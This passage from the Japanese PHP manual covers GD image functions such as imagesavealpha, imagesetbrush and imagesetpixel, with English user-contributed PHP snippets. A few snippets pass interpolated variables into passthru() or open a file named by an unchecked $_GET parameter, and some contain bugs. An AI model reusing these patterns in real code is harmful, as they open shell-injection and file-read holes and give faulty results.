        return $rotate; }}
?>
qrgames at NOSPAMTYrushyo dot com 11-Aug-2007 04:06
imagerotate seems to be very fussy about handling transparency when copymerging onto another image. You can use the GD library's other transparency features to cover up the fact imagerotate gets it wrong HOWEVER it will only work if the top-left corner of the image is transparent at all rotations, so make the image a little bigger than it needs to be. This has been tested with png32 but does not work entirely for png8, as a phenomena creates noise around the rotated image.

<?php

$imgImage = imagecreatefrompng("image.png");
$colBlack = imagecolorallocate($imgImage, 0, 0, 0);
$imgImage = imagerotate($imgImage, 360 - $intHeading, 0);
imagefill($imgImage, 0, 0, $colBlack);
imagecolortransparent($imgImage, $colBlack);
imagecopymerge($imgOriginalImage , $imgImage, $intX, $intY, 0, 0, $intHeight, $intWidth, 100);
imagedestroy($imgImage);

?>

Note. $intHeading is in degrees clockwise :)
Thomaschaaf 23-Feb-2007 07:21
<?php
function rotate($degrees)
    {
        if(function_exists("imagerotate"))
            $this->image = imagerotate($this->image, $degrees, 0);
        else
        {
            function imagerotate($src_img, $angle)
            {
                $src_x = imagesx($src_img);
                $src_y = imagesy($src_img);
                if ($angle == 180)
                {
                    $dest_x = $src_x;
                    $dest_y = $src_y;
                }
                elseif ($src_x <= $src_y)
                {
                    $dest_x = $src_y;
                    $dest_y = $src_x;
                }
                elseif ($src_x >= $src_y)
                {
                    $dest_x = $src_y;
                    $dest_y = $src_x;
                }

                $rotate=imagecreatetruecolor($dest_x,$dest_y);
                imagealphablending($rotate, false);

                switch ($angle)
                {
                    case 270:
                        for ($y = 0; $y < ($src_y); $y++)
                        {
                            for ($x = 0; $x < ($src_x); $x++)
                            {
                                $color = imagecolorat($src_img, $x, $y);
                                imagesetpixel($rotate, $dest_x - $y - 1, $x, $color);
                            }
                        }
                        break;
                    case 90:
                        for ($y = 0; $y < ($src_y); $y++)
                        {
                            for ($x = 0; $x < ($src_x); $x++)
                            {
                                $color = imagecolorat($src_img, $x, $y);
                                imagesetpixel($rotate, $y, $dest_y - $x - 1, $color);
                            }
                        }
                        break;
                    case 180:
                        for ($y = 0; $y < ($src_y); $y++)
                        {
                            for ($x = 0; $x < ($src_x); $x++)
                            {
                                $color = imagecolorat($src_img, $x, $y);
                                imagesetpixel($rotate, $dest_x - $x - 1, $dest_y - $y - 1, $color);
                            }
                        }
                        break;
                    default: $rotate = $src_img;
                };
                return $rotate;
            }
            $this->image = imagerotate($this->image, $degrees);
        }
    }
?>
m dot quinton at gmail dot com 14-Sep-2006 09:30
with large file, where imagerotate is missing, you can use, when possible "convert" command from ImageMagick. Here is a sample script.

<?php

error_reporting(E_ALL);

header("Content-type: image/png");

$file = 'images/test/imgp2498.jpg';

image_rotate_with_convert($file, 90);

function image_rotate_with_convert($file, $angle){
    passthru("convert -rotate $angle $file -");
}

?>
simon_nuttall at hotmail dot com 27-Sep-2005 10:06
The following is potentially useful. It extracts the central largest circle of an image into a square of specified size, and optionally rotates it. The rest of the square is made transparent, so useful for drawing over other images. I've named it after binocular effect because on some old TV shows whenever they show someone looking through binoculars the screen shows a big circular image with black edges.

<?php

function image_binocular_effect($src, $bearing, $out_square) {
 // the source image is resampled to fit within the specified square, and rotated clockwise by bearing.
 // the largest circle within the image is retained, the rest made transparent.
 $out = imagecreatetruecolor($out_square, $out_square);
 $width=imagesx($src);
 $height=imagesy($src);
 $square=min($width, $height);
 imagecopyresampled($out, $src, 0, 0, ($width - $square)/2 , ($height - $square)/2, $out_square, $out_square, $square, $square);

 $mask = imagecreatetruecolor($out_square, $out_square);
 $black = ImageColorAllocate ($mask, 0, 0, 0);
 $white = ImageColorAllocate ($mask, 255, 255, 255);
 imagefilledrectangle($mask , 0, 0, $out_square, $out_square, $white);
 $centrexy=$out_square / 2;
 imagefilledellipse($mask, $centrexy, $centrexy, $out_square, $out_square, $black);
 ImageColorTransparent($mask, $black);
 imagecopymerge($out, $mask,  0, 0, 0, 0, $out_square, $out_square, 100);
 if ($bearing != 0) {
  $rotated_img=imagerotate($out , 360-$bearing, $white);
  // take off only the rotated width
  $rotated_map_width = imagesx($rotated_img);
  $rotated_map_height = imagesy($rotated_img);
  imagecopy($out, $rotated_img, 0, 0, ($rotated_map_width - $out_square) / 2, ($rotated_map_height - $out_square) / 2, $out_square, $out_square);
  }
 ImageColorTransparent($out, $white);
 return $out;
}

// Create a sample image to demonstrate the effect, but looks much better on real photos.

$src = imagecreatetruecolor(200, 50);
imagefilledrectangle($src, 0, 0, 200, 50, imagecolorallocate($src, 255, 255, 255));
ImageString($src, 3, 10, 10, "This is a sample image to illustrate the binocular effect", imagecolorallocate($im, 192, 0, 0));
$img=image_binocular_effect($src, 72, 50);
ImagePNG($img,"test.png");

?>
wulff at fyens dot dk 01-Mar-2005 01:22
I liked the rotateImageBicubic function implemented by darren at lucidtone dot com. But it just snipped off the parts of the image that were outside the original image.

I fixed this, even though I admit that my solution is a bit naive. But it might come in handy for somebody.

Also his bicubic implementation was broken on my machine so I left it out, if you need it just copy and paste it from above.

<?php

// $src_img - a GD image resource
// $angle - degrees to rotate clockwise, in degrees
// returns a GD image resource
// USAGE:
// $im = imagecreatefrompng('test.png');
// $im = imagerotate($im, 15);
// header('Content-type: image/png');
// imagepng($im);
function imageRotate($src_img, $angle, $bicubic=false) {

   // convert degrees to radians
   $angle = $angle + 180;
   $angle = deg2rad($angle);

   $src_x = imagesx($src_img);
   $src_y = imagesy($src_img);

   $center_x = floor($src_x/2);
   $center_y = floor($src_y/2);

   $cosangle = cos($angle);
   $sinangle = sin($angle);

   $corners=array(array(0,0), array($src_x,0), array($src_x,$src_y), array(0,$src_y));

   foreach($corners as $key=>$value) {
     $value[0]-=$center_x;        //Translate coords to center for rotation
     $value[1]-=$center_y;
     $temp=array();
     $temp[0]=$value[0]*$cosangle+$value[1]*$sinangle;
     $temp[1]=$value[1]*$cosangle-$value[0]*$sinangle;
     $corners[$key]=$temp;
   }

   $min_x=1000000000000000;
   $max_x=-1000000000000000;
   $min_y=1000000000000000;
   $max_y=-1000000000000000;

   foreach($corners as $key => $value) {
     if($value[0]<$min_x)
       $min_x=$value[0];
     if($value[0]>$max_x)
       $max_x=$value[0];

     if($value[1]<$min_y)
       $min_y=$value[1];
     if($value[1]>$max_y)
       $max_y=$value[1];
   }

   $rotate_width=round($max_x-$min_x);
   $rotate_height=round($max_y-$min_y);

   $rotate=imagecreatetruecolor($rotate_width,$rotate_height);
   imagealphablending($rotate, false);
   imagesavealpha($rotate, true);

   //Reset center to center of our image
   $newcenter_x = ($rotate_width)/2;
   $newcenter_y = ($rotate_height)/2;

   for ($y = 0; $y < ($rotate_height); $y++) {
     for ($x = 0; $x < ($rotate_width); $x++) {
       // rotate...
       $old_x = round((($newcenter_x-$x) * $cosangle + ($newcenter_y-$y) * $sinangle))
         + $center_x;
       $old_y = round((($newcenter_y-$y) * $cosangle - ($newcenter_x-$x) * $sinangle))
         + $center_y;

       if ( $old_x >= 0 && $old_x < $src_x
             && $old_y >= 0 && $old_y < $src_y ) {

           $color = imagecolorat($src_img, $old_x, $old_y);
       } else {
         // this line sets the background colour
         $color = imagecolorallocatealpha($src_img, 255, 255, 255, 127);
       }
       imagesetpixel($rotate, $x, $y, $color);
     }
   }

  return($rotate);
}

?>
Borszczuk 05-Jan-2005 05:21
Here's a function that implements right angle (multiplicity of 90 degs - 90, 180, 270) rotation if you need one but lacks native imagerotate() or you don't want non-square images to be scaled down as with imagerotate(). As you probably noticed it's not self contained function, as 180 rotation is handled by ImageFlip() function to gain the performance. The ImageFlip() function used is published here: http://php.net/imagecopy in the comment of mine placed on  05-Jan-2005 04:30

Please note: that in case of 0 degrees rotation handle to imgSrc is returned which may lead to problems if you imagedestroy() it undonditionaly. To solve that you shall add imagecopy($imgDest, $imgSrc, 0,0, 0,0,$srcX, $srcY)  in proper place which I have intentionally ommited to save memory resources

<?php

// $imgSrc - GD image handle of source image
// $angle - angle of rotation. Needs to be positive integer
// angle shall be 0,90,180,270, but if you give other it
// will be rouned to nearest right angle (i.e. 52->90 degs,
// 96->90 degs)
// returns GD image handle of rotated image.
function ImageRotateRightAngle( $imgSrc, $angle )
{
    // ensuring we got really RightAngle (if not we choose the closest one)
    $angle = min( ( (int)(($angle+45) / 90) * 90), 270 );

    // no need to fight
    if( $angle == 0 )
        return( $imgSrc );

    // dimenstion of source image
    $srcX = imagesx( $imgSrc );
    $srcY = imagesy( $imgSrc );

    switch( $angle )
        {
        case 90:
            $imgDest = imagecreatetruecolor( $srcY, $srcX );
            for( $x=0; $x<$srcX; $x++ )
                for( $y=0; $y<$srcY; $y++ )
                    imagecopy($imgDest, $imgSrc, $srcY-$y-1, $x, $x, $y, 1, 1);
            break;

        case 180:
            $imgDest = ImageFlip( $imgSrc, IMAGE_FLIP_BOTH );
            break;

        case 270:
            $imgDest = imagecreatetruecolor( $srcY, $srcX );
            for( $x=0; $x<$srcX; $x++ )
                for( $y=0; $y<$srcY; $y++ )
                    imagecopy($imgDest, $imgSrc, $y, $srcX-$x-1, $x, $y, 1, 1);
            break;
        }

    return( $imgDest );
}
?>
darren at lucidtone dot com 07-Dec-2004 08:43
Here's a neat function for those of us who don't have imagerotate() on our servers.  It's based on a comment from ron at korving dot demon dot nl on the manual page for imagecopyresampled.

I'm still not 100% on coping with transparency, but this function seems to cope okay.  It doesn't resize to fit within bounds, it just rotates and you lose anything outside the image box.

The bicubic mode is slooow.

If you want to be able to change the background colour, pass in a colour and use it where indicated.  The line I used just sets it transparent.

<?php
// $src_img - a GD image resource
// $angle - degrees to rotate clockwise, in degrees
// returns a GD image resource
// USAGE:
// $im = imagecreatefrompng('test.png');
// $im = imagerotate($im, 15);
// header('Content-type: image/png');
// imagepng($im);
function imageRotateBicubic($src_img, $angle, $bicubic=false) {

    // convert degrees to radians
    $angle = $angle + 180;
    $angle = deg2rad($angle);

    $src_x = imagesx($src_img);
    $src_y = imagesy($src_img);

    $center_x = floor($src_x/2);
    $center_y = floor($src_y/2);

    $rotate = imagecreatetruecolor($src_x, $src_y);
    imagealphablending($rotate, false);
    imagesavealpha($rotate, true);

    $cosangle = cos($angle);
    $sinangle = sin($angle);

    for ($y = 0; $y < $src_y; $y++) {
      for ($x = 0; $x < $src_x; $x++) {
    // rotate...
    $old_x = (($center_x-$x) * $cosangle + ($center_y-$y) * $sinangle)
      + $center_x;
    $old_y = (($center_y-$y) * $cosangle - ($center_x-$x) * $sinangle)
      + $center_y;

    if ( $old_x >= 0 && $old_x < $src_x
         && $old_y >= 0 && $old_y < $src_y ) {
      if ($bicubic == true) {
        $sY  = $old_y + 1;
        $siY  = $old_y;
        $siY2 = $old_y - 1;
        $sX  = $old_x + 1;
        $siX  = $old_x;
        $siX2 = $old_x - 1;

        $c1 = imagecolorsforindex($src_img, imagecolorat($src_img, $siX, $siY2));
        $c2 = imagecolorsforindex($src_img, imagecolorat($src_img, $siX, $siY));
        $c3 = imagecolorsforindex($src_img, imagecolorat($src_img, $siX2, $siY2));
        $c4 = imagecolorsforindex($src_img, imagecolorat($src_img, $siX2, $siY));

        $r = ($c1['red']  + $c2['red']  + $c3['red']  + $c4['red']  ) << 14;
        $g = ($c1['green'] + $c2['green'] + $c3['green'] + $c4['green']) << 6;
        $b = ($c1['blue']  + $c2['blue']  + $c3['blue']  + $c4['blue'] ) >> 2;
        $a = ($c1['alpha']  + $c2['alpha']  + $c3['alpha']  + $c4['alpha'] ) >> 2;
        $color = imagecolorallocatealpha($src_img, $r,$g,$b,$a);
      } else {
        $color = imagecolorat($src_img, $old_x, $old_y);
      }
    } else {
          // this line sets the background colour
      $color = imagecolorallocatealpha($src_img, 255, 255, 255, 127);
    }
    imagesetpixel($rotate, $x, $y, $color);
      }
    }
    return $rotate;
}
?>
jon at driestone dot com 07-Oct-2004 08:42
imagerotate does not preserve the alpha channel, so if you want to rotate a PNG you need to get
creative. I don't see any command to retrieve the alpha information from an image (as far as
I could see,) so you'll have to do a bit of manual labor before hand. In my case I created a
second PNG file with the alpha saved as RGB data and manually "copied" the data from source
to destination:

<?php
    function alpha_rotate($dst,$src,$rotate,$offsetX,$offsetY){

        $top = imagecreatefrompng("image_processing/shadow.png");
        $top_alpha = imagecreatefrompng("image_processing/shadow_alpha.png");

        imagecopyresampled($top,$src,0,0,0,0,100,100,100,100);

        $top = imagerotate($top,$rotate,0x000000);
        $top_alpha = imagerotate($top_alpha,$rotate,0x000000);

        for ($theX=0;$theX<imagesx($top);$theX++){
            for ($theY=0;$theY<imagesy($top);$theY++){

                $rgb = imagecolorat($top,$theX,$theY);
                $r = ($rgb >> 16) & 0xFF;
                $g = ($rgb >> 8) & 0xFF;
                $b = $rgb & 0xFF;

                $rgb = imagecolorat($top_alpha,$theX,$theY);
                $a = $rgb & 0xFF;
                $a = 127-floor($a/2);

                $myColor = imagecolorallocatealpha($top,$r,$g,$b,$a);
                imagesetpixel($dst,($theX+$offsetX),($theY+$offsetY),$myColor);
            }
        }
    }
?>


PNG 画像を保存する際に、完全なアルファチャネル情報を保存するかどうかを指定する

  • ≪ imagerotate
  • imagescale ≫
  • PHP Manual
  • GD および Image 関数
  • PNG 画像を保存する際に、完全なアルファチャネル情報を保存するかどうかを指定する

imagesavealpha

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

imagesavealpha — PNG 画像を保存する際に、完全なアルファチャネル情報を保存するかどうかを指定する

説明

imagesavealpha ( resource $image , bool $saveflag ) : bool

imagesavealpha() は PNG 画像を保存する際に（単一色の透過設定ではない）完全な アルファチャネル情報を保存するフラグを設定します。

アルファチャネルを保存するためには、まずアルファブレンディングを解除する必要があります (imagealphablending($im, false))。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

saveflag

アルファチャネルを保存するか否か。デフォルトは false です。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 基本的な imagesavealpha() の使用法

<?php
// アルファチャネルつきの png 画像を読み込みます
$png = imagecreatefrompng('./alphachannel_example.png');

// アルファブレンディングを無効にします
imagealphablending($png, false);

// 望んだ操作をします

// アルファフラグを設定します
imagesavealpha($png, true);

// 画像をブラウザに出力します
header('Content-Type: image/png');

imagepng($png);
imagedestroy($png);
?>

参考

  • imagealphablending() - イメージのブレンドモードを設定する

User Contributed Notes

ray hatfield 23-Feb-2011 11:01
After much trial and error and gnashing of teeth I finally figured out how to composite a png with an 8-bit alpha onto a jpg. This was not obvious to me so I thought I'd share. Hope it helps.

I'm using this to create a framed thumbnail image:

<?php
// load the frame image (png with 8-bit transparency)
$frame = imagecreatefrompng('path/to/frame.png');

// load the thumbnail image
$thumb = imagecreatefromjpeg('path/to/thumbnail.jpg');

// get the dimensions of the frame, which we'll also be using for the
// composited final image.
$width = imagesx( $frame );
$height = imagesy( $frame );

// create the destination/output image.
$img=imagecreatetruecolor( $width, $height );

// enable alpha blending on the destination image.
imagealphablending($img, true);

// Allocate a transparent color and fill the new image with it.
// Without this the image will have a black background instead of being transparent.
$transparent = imagecolorallocatealpha( $img, 0, 0, 0, 127 );
imagefill( $img, 0, 0, $transparent );

// copy the thumbnail into the output image.
imagecopyresampled($img,$thumb,32,30,0,0, 130, 100, imagesx( $thumb ), imagesy( $thumb ) );

// copy the frame into the output image (layered on top of the thumbnail)
imagecopyresampled($img,$frame,0,0,0,0, $width,$height,$width,$height);

imagealphablending($img, false);

// save the alpha
imagesavealpha($img,true);

// emit the image
header('Content-type: image/png');
imagepng( $img );

// dispose
imagedestroy($img);

// done.
exit;
?>
phil at unabacus dot net 23-Apr-2008 06:47
The comment left by "doggz at mindless dot com" will cause a duplication in layering of the transparent image - AlphaImageLoader loads the image as if it were a floating layer on top of the <img> element - so your image will double up.. so don't go thinking something very strange is happening with your PHP it's the silly browser ;)

The easiest (although not the best) way to get around this is to use the CSS background property instead of an image src - because as of yet you can't change an image's src dynamically using currently supported CSS:

<div style="width:200px; height:200px; background: url(my-trans-image.php); *background:url(); *filter:progid:
DXImageTransform.Microsoft.AlphaImageLoader(src='my-trans-image.php', sizingMethod='scale');"></div>

The above (although not pretty) keeps the image loaded as a background for any good browser as they should ignore the starred (*) CSS items and should support Alpha PNGs natively. IE will listen to the starred items and blank out the background whilst applying it's AlphaLoader on top. Obviously you need to know the width and height of your image but you can get this using getimagesize() or just by hardcoding.

Downsides to know:

1. Unless the user has 'backgrounds enabled when printing' your image wont show up when the webpage is printed.

2. You can't stretch or shrink a background image - if you change the div's dimensions from that of the image you will stretch it in IE (due to the 'scale' property - which you can change for sake of standardness to 'crop') but you will crop it in any other browser.

3. Most browsers treat images and backgrounds differently, in load priority and in the way the user can interact with them.

Other Options:

Other methods resort to using JavaScript or Browser Detection on the Server Side.


幅と高さを指定して、画像の縮尺を変更する

  • ≪ imagesavealpha
  • imagesetbrush ≫
  • PHP Manual
  • GD および Image 関数
  • 幅と高さを指定して、画像の縮尺を変更する

imagescale

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

imagescale — 幅と高さを指定して、画像の縮尺を変更する

説明

imagescale ( resource $image , int $new_width , int $new_height = -1 , int $mode = IMG_BILINEAR_FIXED ) : resource|false

imagescale() は、指定した補間アルゴリズムを使って画像の縮尺を変更します。

注意:

他の画像処理関数と異なり、 imagescale() 関数は渡された image を変更しません。 代わりに 新しい 画像が返されます。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

new_width

変更後の画像の幅。

new_height

変更後の画像の高さ。省略したり負の数を指定したりした場合は、元の画像のアスペクト比を維持します。

mode

IMG_NEAREST_NEIGHBOUR、 IMG_BILINEAR_FIXED、 IMG_BICUBIC、 IMG_BICUBIC_FIXED あるいはそれ以外 (2 パスで使います) のいずれか。

注意: IMG_WEIGHTED4 にはまだ対応していません。

返り値

成功した場合に、縮尺を変更した画像リソースを返します。失敗した場合に false を返します。

参考

  • imagecopyresized() - 画像の一部をコピーしサイズを変更する
  • imagecopyresampled() - 再サンプリングを行いイメージの一部をコピー、伸縮する

User Contributed Notes

There are no user contributed notes for this page.


線の描画用にブラシイメージを設定する

  • ≪ imagescale
  • imagesetclip ≫
  • PHP Manual
  • GD および Image 関数
  • 線の描画用にブラシイメージを設定する

imagesetbrush

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

imagesetbrush — 線の描画用にブラシイメージを設定する

説明

imagesetbrush ( resource $image , resource $brush ) : bool

imagesetbrush() は、特別な色 IMG_COLOR_BRUSHED または IMG_COLOR_STYLEDBRUSHED で描画される際に (imageline() や imagepolygon() のような) 全ての線描画関数で使用されるブラシイメージを設定します。

警告

ブラシの使用が終った際には特別な処理は不要ですが、 ブラシイメージを破棄する(もしくは、PHPに破棄させる)場合には、新たにブラシイメージを設定するまでは、 色 IMG_COLOR_BRUSHED または IMG_COLOR_STYLEDBRUSHED を使用するべきではありません。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

brush

画像リソース。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 imagesetbrush() の例

<?php
// 小さい php ロゴを読み込みます
$php = imagecreatefrompng('./php.png');

// 100x100 のメイン画像を作成します
$im = imagecreatetruecolor(100, 100);

// 背景を白で塗りつぶします
$white = imagecolorallocate($im, 255, 255, 255);
imagefilledrectangle($im, 0, 0, 299, 99, $white);

// ブラシを設定します
imagesetbrush($im, $php);

// いくつかのブラシを重ねます
imageline($im, 50, 50, 50, 60, IMG_COLOR_BRUSHED);

// 画像をブラウザに出力します
header('Content-type: image/png');

imagepng($im);
imagedestroy($im);
imagedestroy($php);
?>

上の例の出力は、 たとえば以下のようになります。

出力例 : imagesetbrush()

User Contributed Notes

brent at ebrent dot net 31-Jul-2006 10:54
Use a brush to create a thick line.

To create a 3x3 red brush:

<?php
$brush_size = 3;
$brush = imagecreatetruecolor($brush_size,$brush_size);
$brush_color = imagecolorallocate($brush,255,0,0);
imagefill($brush,0,0,$brush_color);
imagesetbrush($im,$brush);
?>

Then use imageline() or imagepolygon() with IMG_COLOR_BRUSHED as the color.

To stop using the brush, destroy it:

<?php imagedestroy($brush); ?>

The brush can also be created from an existing image.


切り取る長方形を設定する

  • ≪ imagesetbrush
  • imagesetinterpolation ≫
  • PHP Manual
  • GD および Image 関数
  • 切り取る長方形を設定する

imagesetclip

(PHP 7 >= 7.2.0, PHP 8)

imagesetclip — 切り取る長方形を設定する

説明

imagesetclip ( resource $im , int $x1 , int $y1 , int $x2 , int $y2 ) : bool

imagesetclip() は、切り取る長方形を設定します。 つまり、ピクセルが存在しない状態でなければ描画されます。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

x1

左上のx座標

y1

左上のy座標

x2

右下のx座標

y2

右下のy座標

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • imagegetclip() - 長方形を切り取り、画像として取得する

User Contributed Notes

There are no user contributed notes for this page.


補間方法を設定する

  • ≪ imagesetclip
  • imagesetpixel ≫
  • PHP Manual
  • GD および Image 関数
  • 補間方法を設定する

imagesetinterpolation

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

imagesetinterpolation — 補間方法を設定する

説明

imagesetinterpolation ( resource $image , int $method = IMG_BILINEAR_FIXED ) : bool

補間方法を設定します。これは、imagerotate() など GD のさまざまな関数のレンダリングに影響を及ぼします。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

method

補間方法。次のいずれかで指定します。

  • IMG_BELL: Bell フィルター。
  • IMG_BESSEL: Bessel フィルター。
  • IMG_BICUBIC: 双三次補間。
  • IMG_BICUBIC_FIXED: 双三次補間の固定小数点実装。
  • IMG_BILINEAR_FIXED: 双直線補間の固定小数点実装 (デフォルト (画像作成時も含む))。
  • IMG_BLACKMAN: Blackman ウィンドウ関数。
  • IMG_BOX: Box blur フィルター。
  • IMG_BSPLINE: スプライン補間。
  • IMG_CATMULLROM: 三次元エルミートスプライン補間。
  • IMG_GAUSSIAN: ガウス関数。
  • IMG_GENERALIZED_CUBIC: 汎用三次元スプラインフラクタル補間。
  • IMG_HERMITE: エルミート補間。
  • IMG_HAMMING: ハミングフィルター。
  • IMG_HANNING: ハニングフィルター。
  • IMG_MITCHELL: Mitchell フィルター。
  • IMG_POWER: Power 補間。
  • IMG_QUADRATIC: 逆二次補間。
  • IMG_SINC: Sinc 関数。
  • IMG_NEAREST_NEIGHBOUR: 最近接補間。
  • IMG_WEIGHTED4: 重み付きフィルター。
  • IMG_TRIANGLE: 三角補間。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 imagesetinterpolation() の例

<?php
// 画像を読み込みます
$im = imagecreate(500, 500);

// デフォルトの補間方法は IMG_BILINEAR_FIXED ですが、これを
// 'Mitchell' フィルターに変更します
imagesetinterpolation($im, IMG_MITCHELL);

// $im の作業を続けます
?>

注意

補間方法を変更すると、これらの関数のレンダリングに影響を及ぼします。

  • imageaffine()
  • imagerotate()

参考

  • imagegetinterpolation() - 補間方法を取得する

User Contributed Notes

shaun at slickdesign dot com dot au 29-Nov-2017 08:27
Setting the interpolation does not carry through to any images created by imageaffine() or imagerotate(). It defaults to IMG_BILINEAR_FIXED and would need to be set on each generated image as required.

<?php
imagesetinterpolation( $image, IMG_NEAREST_NEIGHBOUR );

// Rotated using IMG_NEAREST_NEIGHBOUR
$rotated = imagerotate( $image, 45, $transparent );

// Rotated using IMG_BILINEAR_FIXED
$rotated_again = imagerotate( $rotated, 45, $transparent );
?>

Setting the interpolation to IMG_NEAREST_NEIGHBOUR can help to preserve details and prevent sampling issues when rotating an image at 90 degree increments, including when rotating clockwise.

<?php
// Rotated image can appear blurred and on a slight angle.
$rotated = imagerotate( $image, -360, $transparent );

// Similar to starting Image although it may still show a background or be on a slight angle.
imagesetinterpolation( $image, IMG_NEAREST_NEIGHBOUR );
$rotated = imagerotate( $image, -360, $transparent );
?>


点を生成する

  • ≪ imagesetinterpolation
  • imagesetstyle ≫
  • PHP Manual
  • GD および Image 関数
  • 点を生成する

imagesetpixel

(PHP 4, PHP 5, PHP 7, PHP 8)

imagesetpixel — 点を生成する

説明

imagesetpixel ( resource $image , int $x , int $y , int $color ) : bool

imagesetpixel() は、指定した座標にピクセルを描画します。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

x

x 座標。

y

y 座標。

color

imagecolorallocate() で作成された色識別子。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 imagesetpixel() の例

A random drawing that ends with a regular picture.

<?php

$x = 200;
$y = 200;

$gd = imagecreatetruecolor($x, $y);

$corners[0] = array('x' => 100, 'y' =>  10);
$corners[1] = array('x' =>   0, 'y' => 190);
$corners[2] = array('x' => 200, 'y' => 190);

$red = imagecolorallocate($gd, 255, 0, 0);

for ($i = 0; $i < 100000; $i++) {
  imagesetpixel($gd, round($x),round($y), $red);
  $a = rand(0, 2);
  $x = ($x + $corners[$a]['x']) / 2;
  $y = ($y + $corners[$a]['y']) / 2;
}

header('Content-Type: image/png');
imagepng($gd);

?>

上の例の出力は、 たとえば以下のようになります。

出力例 : imagesetpixel()

参考

  • imagecreatetruecolor() - TrueColor イメージを新規に作成する
  • imagecolorallocate() - 画像で使用する色を作成する
  • imagecolorat() - ピクセルの色のインデックスを取得する

User Contributed Notes

gerben at gerbs dot net 25-Dec-2017 02:37
Note that you don't have to use imagecolorallocate to draw pixels. Instead, you can assign colors directly, which is much faster as well:
<?php
imagesetpixel($img, $x, $y, $r << 16 | $g << 8 | $b);
?>
CR@SH 25-Feb-2014 11:27
imagesetpixel ($image, $x, $y, IMG_COLOR_BRUSHED);
guy032 at gmail dot com 03-May-2012 06:57
making images with white (or close to white) background transprent

<?
function FloodFill($im, $x, $y)
{
    $rgb = imagecolorat($im, $x, $y);
    $r = ($rgb >> 16) & 0xFF;
    $g = ($rgb >> 8) & 0xFF;
    $b = $rgb & 0xFF;

    $counter=0;
    $counter2=0;
    if($r >= 245){ $counter++;}
    if($g >= 245){ $counter++;}
    if($b >= 245){ $counter++;}
    if($r >= 240){ $counter2++;}
    if($g >= 240){ $counter2++;}
    if($b >= 240){ $counter2++;}

    if($counter >= 1 && $counter2 == 3){
        $background = imagecolorallocate($im, 180, 0, 255);
        imagesetpixel($im, $x, $y, $background);

        FloodFill ($im, $x, $y+1);
        FloodFill ($im, $x+1, $y);
        FloodFill ($im, $x, $y-1);
    }
}

$src = $_GET["src"];
$im = imagecreatefromjpeg($src);

// Draw border
$border = imagecolorallocate($im, 180, 0, 255);
drawBorder($im, $border, 1);

// Draw a border
function drawBorder($im, $color, $thickness = 1)
{
    $x1 = 0;
    $y1 = 0;
    $x2 = ImageSX($im) - 1;
    $y2 = ImageSY($im) - 1;

    for($i = 0; $i < $thickness; $i++)
    {
        ImageRectangle($im, $x1++, $y1++, $x2--, $y2--, $color);
    }
}

$rgb = imagecolorat($im, 0, 0);
FloodFill($im, 0, 0);
$color = imagecolorallocate($im, 180, 0, 255);
imagecolortransparent($im, $color);
header("Content-type: image/png");
imagepng($im);
imagedestroy($im);
?>
mail AT kkapsner DOT de 07-May-2010 04:04
It IS posible to "delete" pixels from an image in PHP natively - the key-function is imageAlphaBlending:
<?php

$image = imageCreateTrueColor(101, 101);
imageSaveAlpha($image, true);

# draw a red cycle with alpha blending
$red = imageColorAllocateAlpha($image, 255, 0, 0, 30);
imageFilledEllipse($image, 50, 50, 100, 100, $red);

# disable alpha blending for deletion
imageAlphaBlending($image, false);

# paint with a complete opaque color
$trans = imageColorAllocateAlpha($image, 0, 0, 0, 127);

# you can clear every shape you like
imageFilledRectangle($image, 30, 30, 70, 70, $trans);

# enable alpha blending again
imageAlphaBlending($image, true);

# draw a green rectangle with alpha blending
$green = imageColorAllocateAlpha($image, 0, 255, 0, 40);
imageFilledRectangle($image, 40, 20, 90, 80, $green);

header("Content-Type: image/png");
imagePNG($image);

?>
cyberhorse at users dot sourceforge dot net 18-Feb-2010 07:54
Given an image $src and mask $mask, this applies the mask over the image, using different levels of transparency properly.

<?php
function image_mask(&$src, &$mask) {
    imagesavealpha($src, true);
    imagealphablending($src, false);
    // scan image pixels
    for ($x = 0; $x < imagesx($src); $x++) {
        for ($y = 0; $y < imagesy($src); $y++) {
            $mask_pix = imagecolorat($mask,$x,$y);
            $mask_pix_color = imagecolorsforindex($mask, $mask_pix);
            if ($mask_pix_color['alpha'] < 127) {
                $src_pix = imagecolorat($src,$x,$y);
                $src_pix_array = imagecolorsforindex($src, $src_pix);
                imagesetpixel($src, $x, $y, imagecolorallocatealpha($src, $src_pix_array['red'], $src_pix_array['green'], $src_pix_array['blue'], 127 - $mask_pix_color['alpha']));
            }
        }
    }
}
?>

If your mask is reversed, change 127 - $mask_pix_color['alpha'] with just $mask_pix_color['alpha']
caffinated 28-Aug-2009 05:21
Want to have some fun with this function?  How about edge detection! (ported from http://bitecode.co.uk/2008/07/edge-detection-in-python/)

<?php
function edge($input, $output)
{
  $in_im = imageCreateFromJpeg($input);
  $gx = array(array(-1, 0, 1), array(-2, 0, 2), array(-1, 0, 1));
  $gy = array(array(-1, -2, -1), array(0, 0, 0), array(1, 2, 1));
  $x = imagesx($in_im);
  $y = imagesy($in_im);
  $out_im = imagecreatetruecolor($x, $y);
  $colors = array(255 => imagecolorallocate($out_im, 255, 255, 255));
  for ($row = 1; $row < $x; $row++)
  {
    for ($col = 1; $col < $y; $col++)
    {
      $eyedropper =imagecolorat($in_im, $x, $y);
      $color =imagecolorsforindex($in_im, $eyedropper);
      $pxval = ($color['red'] + $color['green'] + $color['blue']) / 3;
      $pixel_gx = $pixel_gy = 0;
      for ($i = -1; $i < 2; $i++)
      {
        for ($j = -1; $j < 2; $j++)
        {
          $eyedropper =imagecolorat($in_im, $row+$i, $col+$j);
          $color =imagecolorsforindex($in_im, $eyedropper);
          $val = ($color['red'] + $color['green'] + $color['blue']) / 3;
          $pixel_gx += $gx[$i+1][$j+1] * $val;
